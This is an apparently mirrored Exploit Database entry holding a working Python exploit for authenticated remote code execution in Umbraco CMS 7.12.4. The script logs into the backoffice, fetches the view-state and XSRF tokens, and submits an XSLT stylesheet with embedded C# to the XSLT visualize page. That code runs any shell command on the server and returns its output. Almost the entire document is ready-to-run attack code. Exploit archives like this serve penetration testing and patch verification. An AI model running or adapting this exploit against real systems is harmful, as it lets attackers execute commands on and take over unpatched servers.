Umbraco CMS 7.12.4 – Remote Code Execution (Authenticated)

• Exploit Database
• 38 阅读

• 作者： Alexandre ZANNI
  日期： 2021-01-28
• 类别：

  • webapps
  平台：

  • aspx
• 来源：https://www.exploit-db.com/exploits/49488/

• # Exploit Title: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated) 
  # Date: 2020-03-28
  # Exploit Author: Alexandre ZANNI (noraj)
  # Based on: https://www.exploit-db.com/exploits/46153
  # Vendor Homepage: http://www.umbraco.com/
  # Software Link: https://our.umbraco.com/download/releases
  # Version: 7.12.4
  # Category: Webapps
  # Tested on: Windows IIS
  # Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig
  
  import requests
  import re
  import argparse
  
  from bs4 import BeautifulSoup
  
  parser = argparse.ArgumentParser(prog='exploit.py',
  description='Umbraco authenticated RCE',
  formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
  parser.add_argument('-u', '--user', metavar='USER', type=str,
  required=True, dest='user', help='username / email')
  parser.add_argument('-p', '--password', metavar='PASS', type=str,
  required=True, dest='password', help='password')
  parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,
  dest='url', help='root URL')
  parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True,
  dest='command', help='command')
  parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False,
  dest='arguments', help='arguments', default='')
  args = parser.parse_args()
  
  # Payload
  payload = """\
  <?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
  """ % (args.arguments, args.command)
  
  login = args.user
  password = args.password
  host = args.url
  
  # Process Login
  url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
  loginfo = { "username": login, "password": password}
  s = requests.session()
  r2 = s.post(url_login,json=loginfo)
  
  # Go to vulnerable web page
  url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"
  r3 = s.get(url_xslt)
  
  soup = BeautifulSoup(r3.text, 'html.parser')
  VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
  VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
  UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
  headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
  data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,
  "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
  "ctl00$body$xsltSelection": payload,
  "ctl00$body$contentPicker$ContentIdValue": "",
  "ctl00$body$visualizeDo": "Visualize+XSLT" }
  
  # Launch the attack
  r4 = s.post(url_xslt, data=data, headers=headers)
  # Filter output
  soup = BeautifulSoup(r4.text, 'html.parser')
  CMDOUTPUT = soup.find(id="result").getText()
  print(CMDOUTPUT)